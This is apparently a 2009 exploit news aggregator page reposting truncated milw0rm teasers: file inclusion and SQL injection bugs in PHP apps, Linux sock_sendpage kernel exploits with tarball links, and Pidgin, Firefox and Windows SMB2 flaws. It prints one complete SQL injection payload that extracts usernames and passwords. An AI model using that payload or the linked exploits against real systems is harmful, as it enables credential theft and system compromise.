Vulnerable InforMation And IT News

==============================================================================

[o] FSphp 0.2.1 Multiple Remote File Inclusion Vulnerabilities

Software : FSphp version 0.2.1
Vendor : http://fsphp.sourceforge.net/
Download : http://sourceforge.net/projects/fsphp/
Author : NoGe
Contact : noge[dot]code[at]gmail[dot]com
Blog : http://evilc0de.blogspot.com/
Home :

[Read All About This Article]

f10c2c0eb86e71146066950fff899099000

[Read All About This Article]

f10c2c0eb86e71146066950fff899099001

# milw0rm.com [2009-09-11]

[Read All About This Article]

____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/

.OR.ID


[Read All About This Article]

[+]
[+] SQL injection vulnerability
[+] PHP-IPNMonitor – sell digital downloads online
[+] Download : http://www.withinweb.com/phpipnmonitor/
[+] noname[at]antisecurity.org

[+] Bugs = index.php?maincat_id=

[+] exploit = -null+union+select+concat(username,0×3a,userpassword)+from+ipn_tblpasswords–

[+] Example
[+] :

[Read All About This Article]

This third version features: Complete support for i386, x86_64, ppc and ppc64; The
personality trick published by Tavis Ormandy and Julien Tinnes; The TOC
pointer workaround for data items addressing on ppc64 (i.e. functions
on exploit code and libc can be referenced); Improved search and
transition to SELinux types with mmap_zero permission.

http://milw0rm.com/sploits/2009-linux-sendpage3.tar.gz

# milw0rm.com [2009-09-11]

[Read All About This Article]

Fix announce: http://www.mozilla.org/security/announce/2009/mfsa2009-48.html
Bug history: https://bugzilla.mozilla.org/show_bug.cgi?id=326628

So, Firefox up through 3.0.13 had an obscure little function under window.pkcs11:

long addmodule(in DOMString moduleName,
in DOMString libraryFullPath,
in long cryptoMechanismFlags,


[Read All About This Article]

/*
* Pidgin MSN <= 2.5.8 Remote Code Execution
*
* Pierre Nogues - pierz@hotmail.it
* http://www.indahax.com/
*
*
* Description:
* Pidgin is a multi-protocol Instant Messenger.
*
* This is an exploit for the vulnerability[1] discovered in Pidgin by core-security[2].
* The library "libmsn" used by pidgin doesn't handle specially crafted MsnSlp packets
* which could lead to memory corruption.


[Read All About This Article]

This is the second version of Linux sock_sendpage() NULL pointer
dereference exploit. Now, it also works with Linux kernel versions
which implements COW credentials (e.g. Fedora 11). For SELinux enforced
systems, it automatically searches in the SELinux policy rules for
types with mmap_zero permission it can transition, and tries to exploit
the system with that types.

http://milw0rm.com/sploits/2009-linux-sendpage2.tar.gz

# milw0rm.com

[Read All About This Article]

=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================

I. VULNERABILITY
————————-
Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

II. BACKGROUND
————————-
Windows vista and newer Windows

[Read All About This Article]